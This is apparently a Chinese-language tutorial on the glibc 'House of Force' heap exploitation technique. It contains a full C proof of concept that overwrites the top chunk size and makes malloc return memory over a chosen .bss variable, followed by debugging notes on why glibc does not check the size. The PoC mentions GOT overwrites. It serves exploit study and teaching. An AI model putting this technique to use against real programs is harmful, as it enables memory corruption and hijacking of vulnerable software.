前言:這個漏洞有點意思。
在之前所有的利用中我們都是避開 top chunk, 而 house_of_force 與之相反,就是去利用 top chunk。
0X00 例子
/*
This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html )
Tested in Ubuntu 14.04, 64bit.
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
char bss_var[] = "This is a string that we want to overwrite.";
int main(int argc , char* argv[])
{
fprintf(stderr, "\nWelcome to the House of Force\n\n");
fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.\n");
fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
fprintf(stderr, "Its current value is: %s\n", bss_var);
fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
intptr_t *p1 = malloc(256);
fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);
fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
int real_size = malloc_usable_size(p1);
fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);
fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");
//----- VULNERABILITY ----
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);
fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
//------------------------
fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
"overflow) and will then be able to allocate a chunk right over the desired region.\n");
/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)
*/
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
"we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);
void* ctr_chunk = malloc(100);
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "Now, we can finally overwrite that value:\n");
fprintf(stderr, "... old string: %s\n", bss_var);
fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "... new string: %s\n", bss_var);
}
0X01 手動調(diào)試與原理講解
這個的關(guān)鍵在于繞過 sysmalloc 分配。而始終在 top chunk 中分配。由于 top chunk 的 size 沒有任何檢查(至少在 glibc2.25 我沒有看到任何檢查),所以這個漏洞利用起來非常簡單。
我們來調(diào)試一下,假設(shè)有這樣的漏洞,能夠修改 top chunk 的 size:

由于 size 是無符號的數(shù)字。所以 -1 就是最大的數(shù)字(32 個 1)
我們修改完了 top chunk 的 size,在接下來的代碼中會構(gòu)造一個非常大 chunk,調(diào)試一下 malloc 這個 chunk 會發(fā)生什么。
其次,在漏洞中的這個構(gòu)造是想在下一次 malloc 的時候,正好把 bss_var 覆蓋掉。
現(xiàn)在我們來調(diào)試分配超大的 chunk,會發(fā)生什么?一路通行無阻,沒有任何檢查,我們直接來到了 use_top:

從 top chunk 中分配:

遇到了一個檢查但是這個檢查沒有定義:
# define check_malloced_chunk(A, P, N)
check_malloced_chunk (av, victim, nb);
至此超大 chunk 分配完畢。